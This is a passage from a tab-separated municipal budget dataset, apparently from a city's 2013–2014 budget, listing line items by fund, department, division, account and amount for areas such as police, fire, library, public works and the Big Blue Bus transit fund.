3924	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578311.0	FIRE REIMBURSEMENT	810.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	93000.0	0	0	0.0	93000.0
3925	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555364.0	13 STATE HOMELAND SEC GRANT	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	200000.0	200000.0
3926	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3927	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	9203.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9203.0
3928	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
3929	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-466108.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-466108.0
3930	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	404340.0	INDUSTRIAL WASTE FEES	650.0	Charges for Service	2013	-325000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-325000.0
3931	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	94550.0	0	0.0	0.0	0	0	0.0	946	0.0	0	0	0.0	95496.0
3932	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	383.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	383.0
3933	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1351810.0	0	0.0	0.0	0	0	0.0	32265	0.0	0	0	0.0	1384075.0
3934	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	27000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27000.0
3935	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	85000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85000.0
3936	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
3937	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1935207.0	0	0.0	-572.0	0	0	0.0	19346	0.0	0	0	0.0	1953981.0
3938	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	2291.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2291.0
3939	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2013	120530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120530.0
3940	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	20050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20050.0
3941	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16000.0
3942	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2013	678062.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	678062.0
3943	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3944	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555030.0	EMPLOYEE MEDICAL EXAMS	806.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
3945	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2013	38310.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38310.0
3946	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	134640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	134640.0
3947	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2013	163.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	163.0
3948	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2013	3743.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3743.0
3949	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2013	106295.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	106295.0
3950	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
3951	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2013	3509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3509.0
3952	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2013	571.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	571.0
3953	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	5835234.0	0	0.0	0.0	0	0	0.0	11823	0.0	0	0	0.0	5847057.0
3954	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
3955	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1983.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1983.0
3956	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3957	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2013	9866.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9866.0
3958	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
3959	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	2371069.0	0	0.0	0.0	0	0	0.0	14421	0.0	0	0	0.0	2385490.0
3960	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	2805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2805.0
3961	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2013	10200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10200.0
3962	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	20910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20910.0
3963	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544030.0	BADGE / AWARD / NAME PLATES	806.0	 Supplies and Expenses	2013	2091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2091.0
3964	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2013	77481.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	77481.0
3965	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	39780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39780.0
3966	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	12420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12420.0
3967	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
3968	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	895184.0	56386	0.0	0.0	0	0	0.0	9517	0.0	0	0	0.0	961087.0
3969	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2013	2500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500000.0
3970	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2013	379290.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	379290.0
3971	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	2091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2091.0
3972	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	306.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	306.0
3973	B1	IS	1	General Fund	310	FIRE	315	TRAINING	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2013	13260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13260.0
3974	B1	IS	1	General Fund	310	FIRE	315	TRAINING	588090.0	FURNITURE & FURNISHINGS	806.0	 Supplies and Expenses	2013	8160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8160.0
3975	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2013	1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020.0
3976	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	35544.0	0	0.0	0.0	0	0	0.0	355	0.0	0	0	0.0	35899.0
3977	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2013	-153371.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-153371.0
3978	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511730.0	WORKERS' COMP INSURANCE	812.0	Salaries and Wages	2013	70574.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70574.0
3979	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	4100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4100.0
3980	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
3981	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3982	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2013	3150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3150.0
3983	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544170.0	UNIF/PROTECIVE CLOTHING	812.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
3984	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2013	262789.0	0	0.0	0.0	0	0	0.0	2628	0.0	0	0	0.0	265417.0
3985	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	786404.0	0	0.0	0.0	0	0	0.0	7864	0.0	0	0	0.0	794268.0
3986	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	2146.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2146.0
3987	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	3060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3060.0
3988	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2013	1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020.0
3989	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	5186385.0	0	0.0	65042.0	-65042	0	0.0	51864	0.0	0	0	0.0	5238249.0
3990	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	21600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21600.0
3991	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522920.0	VEHICLES - REPAIRS	808.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3992	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544260.0	BIN REPAIR	808.0	 Supplies and Expenses	2013	54000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	54000.0
3993	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544270.0	BIN PARTS	808.0	 Supplies and Expenses	2013	45132.26	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45132.26
3994	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2013	14400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14400.0
3995	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2013	19598.0	0	0.0	0.0	0	0	0.0	196	0.0	0	0	0.0	19794.0
3996	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2013	22000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22000.0
3997	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2013	1017353.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1017353.0
3998	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	566060.0	INTEREST EXPENSE	866.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
3999	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	910.0	 Supplies and Expenses	2013	-113192.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-113192.0
4000	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2013	1173646.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1173646.0
4001	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555060.0	PROFESSIONAL SERVICES	864.0	 Supplies and Expenses	2013	62150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	62150.0
4002	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402310.0	WATER - COMMERCIAL SALES	650.0	Charges for Service	2013	-20102890.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20102890.0
4003	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100000.0
4004	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402210.0	MAUSOLEUM SALES	650.0	Charges for Service	2013	-132600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-132600.0
4005	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2013	-25500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25500.0
4006	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-85000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-85000.0
4007	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405550.0	DOMESTIC PARTNERSHIP FLNG FEE	612.0	Charges for Service	2013	-175.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-175.0
4008	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2013	-175990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-175990.0
4009	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404590.0	SUBDIVISION MAP FEES	612.0	Charges for Service	2013	-11042.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11042.0
4010	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2013	28931.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28931.0
4011	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	170000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	170000.0
4012	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2013	5293.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5293.0
4013	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555030.0	EMPLOYEE MEDICAL EXAMS		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4014	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2013	18900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18900.0
4015	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	60000.0	0	0.0	0.0	0	0	0.0	600	0.0	0	0	0.0	60600.0
4016	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
4017	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	77195.0	0	0.0	0.0	0	0	0.0	38000	0.0	0	0	0.0	115195.0
4018	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES	808.0	 Supplies and Expenses	2013	400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400.0
4019	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	10346.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10346.0
4020	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2013	-85350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-85350.0
4021	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401270.0	LEASED BEACH CONCESSIONS	612.0	Charges for Service	2013	-441600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-441600.0
4022	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
4023	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	407150.0	SALE OF RECYCLED WATER	650.0	Charges for Service	2013	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
4024	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	908.0	 Supplies and Expenses	2013	-122418.0	0	0.0	0.0	0	0	0.0	22418	0.0	0	0	0.0	-100000.0
4025	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511490.0	OVERTIME	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	4502	0	0.0	4502.0
4026	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	5000	0	0.0	5000.0
4027	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1751	0	0.0	1751.0
4028	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4029	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522180.0	BANK FEES		 Supplies and Expenses	2013	48000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48000.0
4030	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4031	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555061.0	OUTSIDE AUDIT EXPENSES		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4032	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522546.0	MEDIA BUYS		 Supplies and Expenses	2013	17640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17640.0
4033	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404280.0	PROP A LOCAL RETURN	658.0	Sales Tax	2013	-338386.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-338386.0
4034	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522318.0	SAFETY & SERVICE AWARDS		 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
4035	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		PRINTING - GENERAL		 Supplies and Expenses	2013	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
4036	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
4037	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407510.0	CAPITAL GRANTS REV-REV EQUIP	657.0	Capital Grants	2013	-20704233.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20704233.0
4038	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2013	-3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3500.0
4039	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555021.0	DETECTION & ALARM SYSTEMS		 Supplies and Expenses	2013	3375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3375.0
4040	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	12356.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12356.0
4041	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	260996.0	0	0.0	0.0	0	0	0.0	2610	0.0	0	0	0.0	263606.0
